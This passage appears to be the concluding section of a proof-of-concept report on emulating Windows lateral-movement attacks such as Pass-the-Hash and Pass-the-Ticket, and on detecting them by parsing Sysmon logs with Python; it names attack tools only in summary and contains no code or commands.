within a network. Throughout this proof-of-concept (PoC) we examined various lateral movement
techniques including Pass-the-Hash (PtH), Pass-the-Ticket (PtT) and remote service exploitation.
These methods underline the intricate interplay between credential access privilege escalation and
movement across network systems.

The learning curve of implementing these attacks reinforced the importance of understanding both
offensive and defensive strategies in cybersecurity. While lateral movement remains an
adversary’s key to navigating enterprise networks, it also highlights the need for robust detection
mechanisms and response strategies in real-world scenarios. By replicating these attacks in a
controlled environment, we identified how attackers exploit weaknesses in authentication
protocols (e.g., NTLM, Kerberos) and leverage legitimate tools like PsExec, Mimikatz, and
EternalBlue to execute their objectives.

By parsing Sysmon logs, defenders can correlate different attack stages, identify adversarial
tactics, and respond in near real-time. This PoC demonstrated how Python scripts could enhance
Sysmon’s capabilities, offering flexibility in detecting and analyzing sophisticated attacks.

Lessons Learned and Research Advancements

This PoC was a comprehensive journey into the complexities of lateral movement techniques. It
showcased the practical application of tools, techniques, and procedures (TTPs) used by attackers
in Windows domain environments. This project demonstrated the duality of cybersecurity. The
necessity of understanding offensive techniques to build better defenses. By emulating real-world
attack scenarios, we gained insights into how attackers operate within Windows domains and the
criticality of securing authentication mechanisms.

The use of Sysmon and Python parsers as detection tools underscored their value in monitoring,
analyzing, and mitigating lateral movement attempts. Together, these tools empower defenders to
stay one step ahead of adversaries, ensuring that detection and response mechanisms remain robust
in the face of evolving threats.
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This PoC was not only a technical exercise but also a transformative learning experience. It bridged
the gap between theory and practice, providing a deeper understanding of the attack lifecycle and
emphasizing the need for continuous learning and innovation in the cybersecurity domain. As we
move forward, the lessons and skills acquired from this project will undoubtedly guide future
research and operational advancements in detecting and mitigating lateral movement threats.
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